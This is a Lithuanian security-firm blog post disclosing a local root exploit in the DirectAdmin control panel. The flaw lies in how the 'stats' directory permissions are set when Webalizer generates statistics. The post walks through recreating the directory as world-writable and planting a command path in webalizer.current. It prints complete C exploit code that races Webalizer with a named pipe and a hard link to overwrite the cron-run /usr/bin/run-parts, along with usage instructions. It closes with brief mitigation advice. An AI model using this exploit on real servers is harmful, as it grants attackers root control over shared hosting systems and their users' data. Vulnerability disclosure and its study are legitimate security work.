Laužiam DirectAdmin: root vartotojo privilegijų gavimas sistemoje
Kęstas Gudinavičius, 2009-11-16 21:57:44

DirectAdmin – tai populiarus komercinis serverio valdymo pultas skirtas FreeBSD ir Linux operacinėms sistemoms ir dažniausiai naudojamas talpinimo paslaugų sferoje. Šiame produkte egzistuojantis pažeidžiamumas įsilaužėliams suteikia galimybę gauti root vartotojo privilegijas. Pažeidžiamumas aptiktas DirectAdmin 1.34.1 versijoje veikiančioje Linux operacinėje sistemoje, tikėtina, kad ir naujesnės DirectAdmin versijos yra pažeidžiamos.

Nebūtina būti Linux branduolio hakeriu, kad galėtum kaip riešutus gliaudyti Linux sistemas, nors ir nesu šios operacinės sistemos gerbėjas ir mažiausiai su ja tenka dirbti, tačiau susidūręs beveik visada pastebiu didelę netvarką su failų teisėmis bei netinkamais failų savininkais. Dažniausiai tuo pavykdavo pasinaudoti papildomų privilegijų gavimui. Panašiai atsitiko ir su DirectAdmin, kuriame prieš kurį laiką radau pakankamai rimtą pažeidžiamumą. Jo esmė yra netinkamas direktorijų teisių nustatymas prieš generuojant tinklalapio lankomumo statistiką su Webalizer programa. Apie šios programos išnaudojimą jau esu rašęs, tad gausis savotiškas tęsinys koncentruotas į DirectAdmin.

Kiekvienas vartotojas DirectAdmin valdymo pulte turi galimybę įjungti tinklalapio lankomumo statistikos generavimą pagal nutylėjimą direktorijoje „stats“, kurį atlieka programa Webalizer. Pirmą kartą generuojant lankomumo statistiką, tai sistema atlieka automatiškai, vartotojo namų direktorijoje yra sukuriama  direktorija „stats“, kurios savininkas yra „root“ vartotojas, o priėjimo teisės nustatomos „rwxr-xr-x“, žmoniškai – „755“.  Atrodo viskas gražiai, šiuo atveju mes negalime nieko daryti su direktorijoje „stats“ esančiais failais t.y. pasinaudoti anksčiau aprašyta Webalizer ataka. Kadangi esame savo namų direktorijos savininkai, galime bandyti pervadinti „stats“ direktoriją į, tarkime, „stats_bak“, sukurti naują direktoriją „stats“, pakeisti jos priėjimo teises į „777“ ir laukti kol bus sugeneruota nauja lankomumo statistika.

DirectAdmin dalinai pripažįsta savarankiškai sukurtą „stats“ direktoriją, pakeičia savininką į „root“, tačiau priėjimo teises „777“ palieka, šito mums turėtų pakakti. Jeigu kartais nesate pažįstami su *nix failų ir direktorijų teisėmis , tai šiuo atveju savininkas, grupė ir kiti vartotojai gali keisti direktorijos turinį: kurti naujus, trinti esamus failus. Sunku tai pavadinti pažeidžiamumu, tačiau šią elementarią spragą seka kompleksiškas jos išnaudojimas.

Nuo paskutinio Webalizer laužymo praėjo daugiau nei metai laiko, todėl šis tas pasikeitė, sena laužimo technika tapo neveiksminga. Pirmiausia Webalizer prieš rašant į failą pradėjo tikrinti ar failas yra simbolinė nuoroda, jeigu taip – išmesdavo klaidą ir nutraukdavo darbą.  Žemiau pateiktas kodo gabalas atsakingas už tikrinimą. Nieko sudėtingo, POSIX makrokomanda „S_ISLNK“ skirta tik simbolinių nuorodų nustatymui, todėl  vietoj simbolinių galėsime pasinaudoti kietosiomis nuorodomis. 

   /* stat output file */
   if ( !(lstat(out_file, &out_stat)) )
   {
      /* check if the file is a symlink */
      if ( S_ISLNK(out_stat.st_mode) )
      {
         fprintf(stderr,"%s %s\n","Error: File is a symlink:",out_file);
         exit(1);
      }
   }

Nustebino Cron tarnybos pasikeitimai, jeigu anksčiau sėkmingai vykdydavo „core dump‘us“, tai dabar baisiai spaudosi dėl sintaksės: „Error: bad minute; while reading...“, bet kokio užduoties failo neįkiši, nors jame ir būtų viena taisyklinga eilutė.  „Webalizer.current“ failą galima lengvai konvertuoti į scenarijų, reikiamų komandų vykdymui pasitelkiant „User-Agent“ antraštę arba tiesiog sukurti vartotojo namų direktorijoje scenarijų „cmd.sh“ ir atlikti keletą HTTP GET užklausų, kreipiantis į  URL „http://www.example.com/home/user/cmd.sh“. Taip „webalizer.current“ faile  bus įrašyta atitinkama būsima komandinė eilutė „/home/user/cmd.sh“.

Susirandame failą, kuris yra reguliariai vykdomas root vartotojo privilegijomis.  Į pagalba ateina „/etc/crontab“ failo turinys, matome, kad  kiekvienos valandos 45 minutę Cron tarnyba vykdo „/usr/bin/run-parts“ programą, kurią galėsime perrašyti  „webalizer.current“ failu. Taip bus įvykdytas mūsų specialiai suformuotas scenarijus.

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
45 * * * * root run-parts /etc/cron.hourly
7 0 * * * root run-parts /etc/cron.daily
25 1 * * 0 root run-parts /etc/cron.weekly
58 1 11 * * root run-parts /etc/cron.monthly

Pažeidžiamumo išnaudojimo kodas nuo ankstesniojo skiriasi tik viena eilute, kurioje funkcija „symlink“ pakeista į „link“. Vietoj simbolinės nuorodos bus kuriama kietoji. Jeigu vis dar neaišku, ką daro programa sukompiliuota iš šio kodo, tai programai perduodami trys parametrai: pirmas – kanalo pavadinimas, šiuo atveju „webalizer.current“, antras – kelias iki failo, „webalizer.current“ kopija, trečias – kelias iki failo, kurį norime perrašyti, šiuo atveju „/usr/bin/run-parts“. Pavyzdžiui, paleidus išnaudojimo kodą taip: „./pwn webalizer.current webalizer.current_bak /usr/bin/run-parts“, darbinėje direktorijoje bus sukurtas kanalas „webalizer.current“ (originalų failą reikia pervardinti į „webalizer.current_bak“). Webalizer prieš generuodamas lankomumo statistiką bandys nuskaityti failą „webalizer.current“, tuo metu išnaudojimo kodas per sukurtą kanalą pateiks failo „webalizer.current_bak“ turinį, Webalizer to reikia lankomumo statistikos istorijai atkurti, kitaip gražins klaidą ir nieko neįvyks. Po to išnaudojimo kodas panaikina kanalą ir vietoj jo sukuria kietąją nuorodą „webalizer.current“ į failą „/usr/bin/run-parts“. Vyksta savotiškos lenktynės, nuoroda turi būti sukurta greičiau nei Webalizer pradės rašymą į failą, kadangi Webalizer atlieka įvairius skaičiavimus, tai laiko yra daugiau nei reikia. Galiausiai failas „/usr/bin/run-parts“ yra perrašomas šviežiu Webalizer sugeneruotu turiniu.

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <fcntl.h>

#define BUFSIZE 1024

int main(int ac, char **av)
{
 
printf("Webalizer symlink attack\n");

char buf[BUFSIZE];
int pipe_fd,cur_fd,n;

if(ac!=4){
        printf("Usage: %s pipename current_file target_file\n\n",av[0]);
        return -1;
        }

printf("[~] attacking...\n");
 
mkfifo(av[1],0644);
symlink(av[1],"webalizer.current");
cur_fd = open(av[2], O_RDONLY,0);

pipe_fd = open(av[1], O_WRONLY,0);

while ((n = read(cur_fd, buf, BUFSIZE)) > 0)
         write(pipe_fd, buf, n);

unlink("webalizer.current");
link(av[3],"webalizer.current");

close(cur_fd);
close(pipe_fd);

printf("[~] DONE\n");
}

Piktiems skaitytojams turėjo kilti klausimas, ar DirectAdmin konfigūracija leidžia taip žaisti su komandų vykdymu t.y. vykdyti išnaudojimo kodus. Nepaslaptis, kad PHP yra skylėtas kaip rėtis, tad elementarios apsaugos, kaip kad tam tikrų funkcijų blokavimas, retai kada suveikia. Taip pat DirectAdmin suteikia galimybę vykdyti CGI aplikacijas, o jeigu jos uždraustos, visada galima pasinaudoti valdymo pultu ir sukurti specialią Cron užduotį.

Apibendrinant, aptiktas pakankamai rimtas pažeidžiamumas DirectAdmin valdymo pulte, atsirandantis dėl klaidingo direktorijų teisių nustatymo bei pateiktas kompleksiškas šios spragos išnaudojimo būdas. Norint išvengti saugumo incidentų, rekomenduojama atjungti Webalizer ir laukti gamintojo pataisymų arba lituoti DirectAdmin savarankiškai.


Komentarai

Vardas:
Komentaras:

Copyright © 2005 - 2010, UAB „Critical Security“